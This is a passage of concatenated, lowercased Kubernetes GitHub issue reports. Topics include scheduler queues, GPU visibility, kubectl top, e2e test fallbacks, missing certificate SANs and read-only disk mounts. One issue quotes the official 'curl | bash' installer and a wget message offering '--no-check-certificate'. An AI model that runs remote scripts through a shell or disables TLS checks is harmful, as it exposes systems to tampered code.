github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newfileschema\r                                             0.06gb 56.66% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.patternmatches\r                                             0.04gb 43.34% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.invalidkeysinmap\r ----------------------------------------------------------+-------------\r                                             1.08gb   100% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newnonbodyparameter\r          0     0% 23.08%     1.08gb  3.29%                | github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newformdataparametersubschema\r                                             1.06gb 97.95% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.patternmatches\r                                             0.02gb  2.05% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.invalidkeysinmap\r ----------------------------------------------------------+-------------\r                                             1.12gb   100% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newnonbodyparameter\r          0     0% 23.08%     1.12gb  3.41%                | github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newheaderparametersubschema\r                                             1.10gb 98.42% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.patternmatches\r                                             0.02gb  1.58% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.invalidkeysinmap\r    \r \r this appears to be due to openapi aggregation.\r \r @lavalamp @mehdy if there is an easy fix in 1.7 it might be worth it.  otherwise this should be addressed for 1.8.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r scheduler pod queue was refactored to have 2 queues: one for unschedulable pods and one for in progress pods.  this is different from the predicate equivalence cache.\r \r need to consider if storage class add/update/delete could cause a unschedulable pod to become schedulable.  my initial thought is add can.  need to look into exactly what storageclass fields can be updated.\r

i have three replicas running on my k8 cluster. i want to upgrade only one replica. so how can i do it?\r @wanghaoran1988 @foxylion \r  /assign\r @kubernetes/sig-windows-feature-requests

per discussion in  \ growing flexvolume size\   https://docs.google.com/document/d/1dwom9xq3fg5f_jjrybr0slp-qso3_ckiisxznromhec/edit  proposal, we thought that it would be good to add a new interface named  expandfs  to  expandablevolumeplugin .  expandfs  will be called when file system resizing is required  offline or online resizing in the future , and this call will let underneath volume plugin decide what to do finally  resize file system or both volume expansion and resizing file system \r \r suppose this interface should take the same parameters as the  expandvolumedevice  interface\r \r  /assign @gnufied

  /area hw-accelerators\r /cc @vishh @jiayingz @vikaschoudhary16 @renaudwastaken \r \r \r   what happened  :\r we can see all gpus in container   nvidia-smi   when the limit of \ nvidia.com/gpu\  set to 0\r also,  ls /dev/nvidia   in container can see all gpu device files.\r \r \r   what you expected to happen  :\r  ls /dev/nvidia   in container shows nothing when the limit of \ nvidia.com/gpu\  set to 0\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r yaml file:\r    \r apiversion: v1\r kind: pod\r metadata:\r     name: fff\r spec:\r   containers:\r   - name: fff\r     image: nvidia/cuda:8.0-cudnn6-devel-ubuntu16.04\r     resources:\r       limits:\r         nvidia.com/gpu: \ 0\ \r       requests:\r         nvidia.com/gpu: \ 0\ \r     command:  \ /bin/sh\ , \ -c\  \r     args:  \ sleep 10d;\  \r     imagepullpolicy: ifnotpresent\r   dnspolicy: clusterfirst\r   restartpolicy: never\r   terminationgraceperiodseconds: 1\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r kubectl top nodes didn't report one of my nodes. i have a cluster of 8 and only 7 printed.\r \r <pre>\r :::: fang 10:04:02  cgthayer-pchat  0 platform; kubectl top nodes                                                                                                                                                                                                                                                                               \r name                                                  cpu cores    cpu%      memory bytes    memory%                                                                                                                                                                                                                                            \r gke-charles-test-cluster-default-pool-be943055-jkrj   311m         33%       2470mi          93%                                                                                                                                                                                                                                                \r gke-charles-test-cluster-default-pool-be943055-krsh   154m         16%       1763mi          66%       \r gke-charles-test-cluster-default-pool-be943055-vhgq   265m         28%       1954mi          73%       \r gke-charles-test-cluster-default-pool-be943055-x3bs   186m         19%       1990mi          75%       \r gke-charles-test-cluster-default-pool-be943055-073f   270m         28%       1729mi          65%       \r gke-charles-test-cluster-default-pool-be943055-09zf   403m         42%       2698mi          102%                                                                                                                                                                                                                                               \r gke-charles-test-cluster-default-pool-be943055-p7h1   191m         20%       1582mi          59%                                                                                                                                                                                                                                                \r :::: fang 10:04:07  cgthayer-pchat  0 platform; kubectl get nodes                                                                                                                                                                                                                                                                               \r name                                                  status    roles     age       version                                                                                                                                                                                                                                                     \r gke-charles-test-cluster-default-pool-be943055-073f   ready     <none>    7d        v1.7.12-gke.1\r gke-charles-test-cluster-default-pool-be943055-09zf   ready     <none>    7d        v1.7.12-gke.1\r gke-charles-test-cluster-default-pool-be943055-cl65   ready     <none>    6d        v1.7.12-gke.1\r gke-charles-test-cluster-default-pool-be943055-jkrj   ready     <none>    8d        v1.7.12-gke.1\r gke-charles-test-cluster-default-pool-be943055-krsh   ready     <none>    8d        v1.7.12-gke.1\r gke-charles-test-cluster-default-pool-be943055-p7h1   ready     <none>    7d        v1.7.12-gke.1\r gke-charles-test-cluster-default-pool-be943055-vhgq   ready     <none>    8d        v1.7.12-gke.1\r gke-charles-test-cluster-default-pool-be943055-x3bs   ready     <none>    8d        v1.7.12-gke.1\r <pre>\r \r   what you expected to happen  :\r \r i expected all nodes to be printed. since the missing node might have bad data i might expect it to have the same number of columns with \ -\  values and a note in a new 6th column saying something like \ unavailabe\  \ unresponsive\  \ stale-data\  etc.  e.g.\r \r <pre>\r gke-charles-test-cluster-default-pool-be943055-p7h1   -         -       -          -   unreachable\r </pre>\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure. perhaps run a pod where you can intentionally trigger it to use too much cpu or memory.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version                                                                                                                                                                                                                                                                                 \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }                                                                                               \r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.8-gke.0\ , gitcommit:\ 6e5b33a290a99c067003632e0fd6be0ead48b233\ , gittreestate:\ clean\ , builddate:\ 2018-02-16t18:26:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r gke\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i'm running e2e tests via sonobuoy and had a number of tests skipped due to lack of an ssh key on the node. i then have created a secret, mounted it, set env vars to point to the key and set the ssh user. however, some tests explicitly require an external ip address    while others fallback to using an internal ip address since that may be reachable  which it is if running the tests through sonobuoy .\r \r   what you expected to happen  :\r i expected the external->internal fallback to be used more consistently in the tests. to emphasize, this is just in the test code and not in the \r \r   how to reproduce it  as minimally and precisely as possible   :\r run sonobuoy tests with the e2e focus set to one of the tests below. you have to use  sonobuoy gen  to generate the yaml and modify a few things so that you get the secret in the right namespace and it gets mounted appropriately though.\r \r i've not run the e2e tests manually from my own machine, but if you were doing that then it should be even easier as long as you have a cluster up where the nodes do not have external ips set.\r \r   anything else we need to know?  :\r this test can pass in my current setup: https://github.com/kubernetes/kubernetes/blob/733a381ec42ede15cd0499bc502a0cba6612f3ca/test/e2e/node/mount_propagation.go l81\r since this function has the fallback logic: https://github.com/kubernetes/kubernetes/blob/5de3896d0d18f072664650b94a8f6089be420cc0/test/e2e/framework/service_util.go l332\r \r this test fails: https://github.com/kubernetes/kubernetes/blob/7f23a743e8c23ac6489340bbb34fa6f1d392db9d/test/e2e/node/ssh.go l43\r because this function does not have the fallback logic: https://github.com/kubernetes/kubernetes/blob/690179b1220ce8eba6d7b5e295b88fbe7772c18f/test/e2e/framework/util.go l3271\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:21z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ \ , builddate:\ 2018-06-27t08:25:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r  linux box-1 4.4.0-134-generic  160-ubuntu smp wed aug 15 14:58:00 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

when running conformance testing on a cluster with 8 nodes schedulable for jobs, the conformance test for rolling updates on daemon sets fails due to timeout.\r \r test name:  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate  conformance \u001b \r \r test code is here:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/apps/daemon_set.go l326-l369\r it utilizes a hardcoded timeout limit of 5m.\r \r   what happened  :\r the logs seem to indicate nothing wrong other than the time it takes to complete the rolling restart. the rolling restart timeout is hardcoded at 5m which doesn't seem to be enough time for large enough clusters.\r \r   what you expected to happen  :\r i would expect the timeout to either be sliding or for the check to be kicking the can; ensuring that the update is proceeding by at least one node every minute or two.\r \r   how to reproduce it  as minimally and precisely as possible   :\r requires a cluster with at least 8 schedulable nodes; more would make the timeout more certain.\r \r   anything else we need to know?  :\r \r i was trying to see what k8s was testing itself with and it seems  according to this log  that the test is run against a cluster with 4 schedulable nodes and takes ~3m which would line up with what i'm seeing  8 nodes for ~6m, 1 more than given by the hardcoded deadline \r \r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-cri-containerd-e2e-gci-gce-serial/1555/build-log.txt\r \r seems like there are a few options:\r  - use a \ kick the can\  strategy to ensure the timeout scales\r  - use a timeout calculated from the number of schedulable nodes\r  -  mitigation  increase the max number of down nodes so the update can occur faster\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r from test logs  cluster no longer available :\r    \r info: e2e test version: v1.12.1\r info: kube-apiserver version: v1.12.2-1+619f4e6f7f010f\r    \r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r the certificate issued does not have  x509v3 subject alternative name  extension.\r \r   what you expected to happen  :\r \r  x509v3 subject alternative name  should be in issued cert, as in k8s v1.11.8.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r cat <<eof | tee server.csr\r -----begin certificate request-----\r miibftccasmcaqawftetmbega1ueaxmkbxktc2vydmljztbzmbmgbyqgsm49ageg\r ccqgsm49aweha0iabg/9dlftjqbvcch/epkyggo7vkhjmbxixfxpbufxf+gvcggz\r 4cp1tyid4guletyjpuena9xtoedotdxdkrmkvjyggaswgaggcsqgsib3dqejdjgb\r mjcblzcblaydvr0rbigmmigjggptes1zzxj2awnlghjtes1zzxj2awnllmrlzmf1\r bhscfm15lxnlcnzpy2uuzgvmyxvsdc5zdmochm15lxnlcnzpy2uuzgvmyxvsdc5z\r dmmuy2x1c3rlcoikbxktc2vydmljzs5kzwzhdwx0lnn2yy5jbhvzdgvylmxvy2fs\r gglsb2nhbghvc3qwcgyikozizj0eawidsaawrqihajnemxpmsojw4vbrl9xegbe6\r avjqysg1jtq49iuhimw+aia7hmpmricqs3h9fmvlugmptno7pqj6igwar/noeqo1\r +w==\r -----end certificate request-----\r eof\r \r cat <<eof | tee /dev/tty | kubectl apply -f -\r ---\r apiversion: certificates.k8s.io/v1beta1\r kind: certificatesigningrequest\r metadata:\r   name: my-service\r   namespace: default\r spec:\r   groups:\r   - system:authenticated\r   request: $ cat server.csr | base64 | tr -d '\ ' \r   usages:\r   - digital signature\r   - key encipherment\r   - server auth\r eof\r    \r \r   anything else we need to know?  :\r \r the certificate signing request has the extension:\r \r    \r openssl req -text -noout -in server.csr\r \r certificate request:\r     data:\r         version: 0  0x0 \r         subject: cn=my-service\r         subject public key info:\r             public key algorithm: id-ecpublickey\r                 public-key:  256 bit \r                 pub:\r                     04:6f:fd:0e:57:d3:25:06:ef:71:c8:7f:7a:99:32:\r                     18:6a:3b:56:48:63:99:b5:e2:5c:5c:4f:05:47:f1:\r                     17:e1:af:70:68:33:e1:ca:75:4d:82:1d:e2:05:25:\r                     7a:dc:a3:a5:41:27:03:dc:6d:39:e7:4e:4d:dc:5d:\r                     29:19:a4:56:3c\r                 asn1 oid: prime256v1\r                 nist curve: p-256\r         attributes:\r         requested extensions:\r             x509v3 subject alternative name:\r                 dns:my-service, dns:my-service.default, dns:my-service.default.svc, dns:my-service.default.svc.cluster, dns:my-service.default.svc.cluster.local, dns:localhost\r     signature algorithm: ecdsa-with-sha256\r          30:45:02:21:00:93:44:33:13:cc:4a:82:70:e2:f0:6b:2f:d5:\r          de:18:11:3a:69:58:d0:ca:c1:b5:26:da:b8:f4:85:07:88:c5:\r          be:02:20:3b:86:6a:4c:44:80:90:4b:71:fd:7e:6b:e5:b8:63:\r          0f:4c:d3:bb:3d:08:fa:88:6c:1a:47:f9:e8:11:0a:35:fb\r    \r \r and \r \r    \r \r kubectl certificate approve my-service\r \r kubectl get csr my-service -o jsonpath='{.status.certificate}' | base64 --decode | openssl x509 -text -noout -in /dev/stdin\r \r certificate:\r     data:\r         version: 3  0x2 \r         serial number:\r             e9:78:cd:bb:3b:80:fd:b1:7f:d9:0c:42:0c:38:38:9c:60:db:3c\r     signature algorithm: sha256withrsaencryption\r         issuer: cn=kubernetes\r         validity\r             not before: apr 25 17:22:00 2019 gmt\r             not after : apr 24 17:22:00 2020 gmt\r         subject: cn=my-service\r         subject public key info:\r             public key algorithm: id-ecpublickey\r                 public-key:  256 bit \r                 pub:\r                     04:db:cb:a2:85:81:79:bf:43:d6:30:45:b5:07:3a:\r                     77:e6:db:f1:db:77:f9:e4:0e:79:e3:5b:7e:6c:b9:\r                     95:a1:ed:cd:19:c7:75:03:c2:10:56:7e:b5:57:1c:\r                     85:b6:a5:f9:b3:2f:8c:87:4f:35:b3:a7:bd:23:cf:\r                     e2:67:6b:d1:d0\r                 asn1 oid: prime256v1\r                 nist curve: p-256\r         x509v3 extensions:\r             x509v3 key usage: critical\r                 digital signature, key encipherment\r             x509v3 extended key usage:\r                 tls web server authentication\r             x509v3 basic constraints: critical\r                 ca:false\r             x509v3 subject key identifier:\r                 f3:37:4e:34:15:5a:9e:11:95:e3:2f:49:8c:b6:65:3c:05:c7:8b:8d\r     signature algorithm: sha256withrsaencryption\r          a7:e5:5c:90:6a:03:d9:45:7b:6d:1d:ff:71:3b:fd:ee:7b:d0:\r          5e:45:66:81:ff:64:23:87:8d:44:4f:78:dc:57:af:db:6b:28:\r          fd:9f:d8:7c:a0:b4:30:a3:78:59:19:d1:e6:41:49:f1:20:29:\r          08:06:c0:d2:4c:f6:05:da:9d:1c:04:d0:00:b9:c0:e4:65:31:\r          17:62:2f:92:49:1c:76:3f:64:09:f4:dc:bc:6c:20:05:bb:ba:\r          6e:96:16:ab:0f:89:3f:b9:56:91:71:38:f1:8b:05:52:d0:22:\r          a4:a1:dd:c0:03:55:08:64:37:14:58:24:d2:b7:df:4e:e0:52:\r          76:01:58:a3:ff:21:2a:e6:1c:a4:36:8e:3a:87:37:b9:69:76:\r          a3:38:25:07:a4:47:61:3b:7d:98:31:c2:d8:3d:a8:00:88:da:\r          97:ff:16:21:5b:61:a8:b0:c7:e9:28:c7:65:8b:61:ff:b4:77:\r          04:a0:65:f0:c8:46:23:cf:84:dc:6a:52:45:7b:33:7d:a7:07:\r          1c:02:6d:5c:ee:fc:74:ff:ee:20:d8:60:b5:5c:af:35:61:6c:\r          35:3d:05:cc:84:e9:5c:9b:25:ae:f7:8d:02:ea:fe:a4:05:f5:\r          5f:b2:e7:cb:8a:33:bf:ae:c8:ba:1e:58:fa:72:e6:24:f3:86:\r          8c:0d:e0:ad\r    \r \r but the same certificate signing request in k8s v1.11.8 has the expected  x509v3 subject alternative name   extension:\r \r    \r kubectl get csr my-service -o jsonpath='{.status.certificate}' | base64 --decode | openssl x509 -text -noout -in /dev/stdin\r \r certificatesigningrequest.certificates.k8s.io/my-service approved\r certificate:\r     data:\r         version: 3  0x2 \r         serial number:\r             46:0c:37:a7:a3:1f:e3:16:eb:e0:fb:0e:a9:41:45:57:0c:d3:ce:42\r     signature algorithm: sha256withrsaencryption\r         issuer: cn=kubernetes\r         validity\r             not before: apr 25 17:52:00 2019 gmt\r             not after : apr 24 17:52:00 2020 gmt\r         subject: cn=my-service\r         subject public key info:\r             public key algorithm: id-ecpublickey\r                 public-key:  256 bit \r                 pub:\r                     04:6f:fd:0e:57:d3:25:06:ef:71:c8:7f:7a:99:32:\r                     18:6a:3b:56:48:63:99:b5:e2:5c:5c:4f:05:47:f1:\r                     17:e1:af:70:68:33:e1:ca:75:4d:82:1d:e2:05:25:\r                     7a:dc:a3:a5:41:27:03:dc:6d:39:e7:4e:4d:dc:5d:\r                     29:19:a4:56:3c\r                 asn1 oid: prime256v1\r                 nist curve: p-256\r         x509v3 extensions:\r             x509v3 key usage: critical\r                 digital signature, key encipherment\r             x509v3 extended key usage:\r                 tls web server authentication\r             x509v3 basic constraints: critical\r                 ca:false\r             x509v3 subject key identifier:\r                 e3:ae:4e:25:7d:f2:1e:d7:2e:d5:07:37:48:70:2f:9d:b1:36:5a:e7\r             x509v3 subject alternative name:\r                 dns:my-service, dns:my-service.default, dns:my-service.default.svc, dns:my-service.default.svc.cluster, dns:my-service.default.svc.cluster.local, dns:localhost\r     signature algorithm: sha256withrsaencryption\r          79:3a:6b:69:3b:11:37:e2:97:0c:2d:77:41:df:93:17:a5:07:\r          ae:89:a0:5f:a8:8d:81:ac:fb:ca:80:fd:12:b7:93:e5:cc:ca:\r          4c:ea:1b:86:be:28:0a:d1:67:5e:c9:ba:1f:86:7d:ee:d1:db:\r          e3:fb:3d:dd:47:e9:b3:e0:ed:5c:7f:2f:85:05:68:e7:6f:63:\r          a5:a0:68:c6:33:66:35:f8:0e:34:e5:ec:03:2a:0a:4d:d1:1e:\r          b7:79:40:3d:40:77:93:aa:a6:2a:c7:1c:70:f0:45:8f:10:61:\r          4c:83:ce:cd:1d:2f:5b:bd:7d:82:2e:2a:98:dc:f5:9d:f3:f5:\r          ac:12:46:00:e5:34:c0:c0:8e:2e:f7:53:df:6d:3a:49:63:d0:\r          37:2c:45:ce:74:32:3c:ac:1a:0a:da:e9:e5:ee:d2:9d:b1:19:\r          3d:73:b0:d3:d2:a2:13:32:93:cb:34:df:8e:4e:f3:2c:cc:4f:\r          78:fa:24:11:1f:12:7b:f3:76:56:74:7a:13:a3:2d:11:95:3f:\r          c0:76:e9:f0:be:7a:cf:1e:cf:42:4b:b7:54:c5:80:7c:f2:d9:\r          bf:59:2a:7f:7e:47:0a:2f:a3:84:2f:59:c0:63:ff:1a:6d:c0:\r          8b:fa:61:c5:69:fe:24:40:03:36:45:df:ef:23:ed:09:ef:1f:\r          00:70:47:eb\r    \r \r  full  kubectl version  for completeness:  client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.7\ , gitcommit:\ 65ecaf0671341311ce6aea0edab46ee69f65d59e\ , gittreestate:\ clean\ , builddate:\ 2019-01-24t19:32:00z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.8\ , gitcommit:\ 4e209c9383fa00631d124c8adcc011d617339b3c\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t18:40:05z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }  \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.7\ , gitcommit:\ 65ecaf0671341311ce6aea0edab46ee69f65d59e\ , gittreestate:\ clean\ , builddate:\ 2019-01-24t19:32:00z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.6-eks-d69f1b\ , gitcommit:\ d69f1bf3669bf00b7f4a758e978e0e7a1e3a68f7\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t20:26:10z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: eks\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

running \ curl -ss https://get.k8s.io | bash\  seems to fail silently. after some debugging, it looks like get_latest_version_number is the culprit:  <pre>   63 function get_latest_version_number {   64   local -r latest_url=\ https://storage.googleapis.com/kubernetes-release/release/stable.txt\    65   if    $ which wget    ; then   66     wget -qo- ${latest_url}   67   elif    $ which curl    ; then   68     curl -ss ${latest_url}   69   fi   70 } </pre>   line 66 fails with the following when i remove the -q  quiet  option:  <pre> $ wget -o- https://storage.googleapis.com/kubernetes-release/release/stable.txt --2015-07-14 11:58:06--  https://storage.googleapis.com/kubernetes-release/release/stable.txt resolving storage.googleapis.com... 173.194.204.128, 2607:f8b0:400d:c0a::80 connecting to storage.googleapis.com|173.194.204.128|:443... connected. error: certificate common name “ .storage.googleapis.com” doesn’t match requested host name “storage.googleapis.com”. to connect to storage.googleapis.com insecurely, use ‘--no-check-certificate’.  $ echo $? 5 </pre>

mostly a note to self to investigate...   on gce, we don't specify the type when creating a pd.  i think this means that dynamic volumes will be created as pd-standard.  pd-ssd is probably a more sensible default.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/11756/  failed:  k8s.io  kubectl client  k8s.io  kubectl taint should update the taint on a node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1198 expected error:     < errors.errorstring | 0xc820624710>: {         s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.155.182.223 --kubeconfig=/workspace/.kube/config taint nodes gke-jenkins-e2e-default-pool-8f17ec09-iatl kubernetes.io/e2e-taint-key-498bd6c9-50a6-11e6-891a-0242ac110002-      <nil>  failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.\     <nil> 0xc82077efc0 exit status 1 <nil> true  0xc820796328 0xc820796340 0xc820796358   0xc820796328 0xc820796340 0xc820796358   0xc820796338 0xc820796350   0xaaeb60 0xaaeb60  0xc820c722a0}:\ command stdout:\ \ stderr:\ failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.155.182.223 --kubeconfig=/workspace/.kube/config taint nodes gke-jenkins-e2e-default-pool-8f17ec09-iatl kubernetes.io/e2e-taint-key-498bd6c9-50a6-11e6-891a-0242ac110002-      <nil>  failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.         <nil> 0xc82077efc0 exit status 1 <nil> true  0xc820796328 0xc820796340 0xc820796358   0xc820796328 0xc820796340 0xc820796358   0xc820796338 0xc820796350   0xaaeb60 0xaaeb60  0xc820c722a0}:     command stdout:      stderr:     failed to find client for version v1: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.      error:     exit status 1  not to have occurred      previous issues for this test:  27976

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  timeout expired waiting for volumes to attach/mount gcepersistentdisk readonly  ---    is this a bug report or feature request?    choose one :  bug report    kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ windows/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:38:31z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : gke -   os    e.g. from /etc/os-release :       bash pretty_name=\ debian gnu/linux 7  wheezy \  name=\ debian gnu/linux\  version_id=\ 7\  version=\ 7  wheezy \  id=debian ansi_color=\ 1;31\  home_url=\ http://www.debian.org/\  support_url=\ http://www.debian.org/support/\  bug_report_url=\ http://bugs.debian.org/\      -   kernel    e.g.  uname -a  : linux gke-fatih-small-pool-59881027-k909 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux -   install tools  : -   others  :    what happened  :  readonly persistent disk won't mount multiple times    what you expected to happen  :  can be mounted multiple times    how to reproduce it    as minimally and precisely as possible :  create 3 rcs  with 1 replica each  that mount the same persistent disk as read only.  the first pod always succeeds mounting.      kubectl get po name              ready     status              restarts   age mongo-express     1/1       running             0          2h mongo-rc0-rpah5   1/1       running             0          30m mongo-rc1-xkcyy   1/1       running             0          17m mongo-rc2-aktox   0/1       containercreating   0          30m          kubectl describe po mongo-rc0-rpah5 name:           mongo-rc0-rpah5 namespace:      default node:           gke-fatih-small-pool-59881027-k909/10.142.0.5 start time:     tue, 23 aug 2016 05:01:48 +0700 labels:         instance=fatih0                 name=mongo-node0 status:         running ip:             10.60.2.5 controllers:    replicationcontroller/mongo-rc0 containers:   mongo-node0:     container id:       docker://2845af5d815ff62505284ee8ef22bb5be3fa7f276e00d9347c9ce0e726e45d2f     image:              mongo     image id:           docker://sha256:af52553e1c34b3ec48a2e50cf73a1eed1fc6d2fd2b0d3d73d7397c8d6341551f     port:               27017/tcp     command:       mongod       --replset       bippo       --storageengine       wiredtiger       --keyfile       /etc/mongo-conf/mongo.keyfile     requests:       cpu:                      100m     state:                      running       started:                  tue, 23 aug 2016 05:02:06 +0700     ready:                      true     restart count:              0     environment variables:      <none> conditions:   type          status   initialized   true   ready         true   podscheduled  true volumes:   mongo-conf:     type:       gcepersistentdisk  a persistent disk resource in google compute engine      pdname:     mongo-conf     fstype:     ext4     partition:  0     readonly:   true   mongo-persistent-storage0:     type:       gcepersistentdisk  a persistent disk resource in google compute engine      pdname:     mongodb-disk0     fstype:     ext4     partition:  0     readonly:   false   default-token-i0lox:     type:       secret  a volume populated by a secret      secretname: default-token-i0lox qos tier:       burstable events:   firstseen     lastseen        count   from                                            subobjectpath type            reason          message   ---------     --------        -----   ----                                            ------------- --------        ------          -------   33m           33m             1       {default-scheduler }                                                    normal         scheduled       successfully assigned mongo-rc0-rpah5 to gke-fatih-small-pool-59881027-k909   33m           33m             1       {kubelet gke-fatih-small-pool-59881027-k909}    spec.containers{mongo-node0} normal          pulling         pulling image \ mongo\    33m           33m             1       {kubelet gke-fatih-small-pool-59881027-k909}    spec.containers{mongo-node0} normal          pulled          successfully pulled image \ mongo\    33m           33m             1       {kubelet gke-fatih-small-pool-59881027-k909}    spec.containers{mongo-node0} normal          created         created container with docker id 2845af5d815f   33m           33m             1       {kubelet gke-fatih-small-pool-59881027-k909}    spec.containers{mongo-node0} normal          started         started container with docker id 2845af5d815f      the second pod is intermittent. the third pod  below  always fails.      kubectl describe po mongo-rc2-aktox name:           mongo-rc2-aktox namespace:      default node:           gke-fatih-small-pool-59881027-h46g/10.142.0.6 start time:     tue, 23 aug 2016 05:01:49 +0700 labels:         instance=fatih2                 name=mongo-node2 status:         pending ip: controllers:    replicationcontroller/mongo-rc2 containers:   mongo-node2:     container id:     image:              mongo     image id:     port:               27017/tcp     command:       mongod       --replset       bippo       --storageengine       wiredtiger       --keyfile       /etc/mongo-conf/mongo.keyfile     requests:       cpu:                      100m     state:                      waiting       reason:                   containercreating     ready:                      false     restart count:              0     environment variables:      <none> conditions:   type          status   initialized   true   ready         false   podscheduled  true volumes:   mongo-conf:     type:       gcepersistentdisk  a persistent disk resource in google compute engine      pdname:     mongo-conf     fstype:     ext4     partition:  0     readonly:   true   mongo-persistent-storage2:     type:       gcepersistentdisk  a persistent disk resource in google compute engine      pdname:     mongodb-disk2     fstype:     ext4     partition:  0     readonly:   false   default-token-i0lox:     type:       secret  a 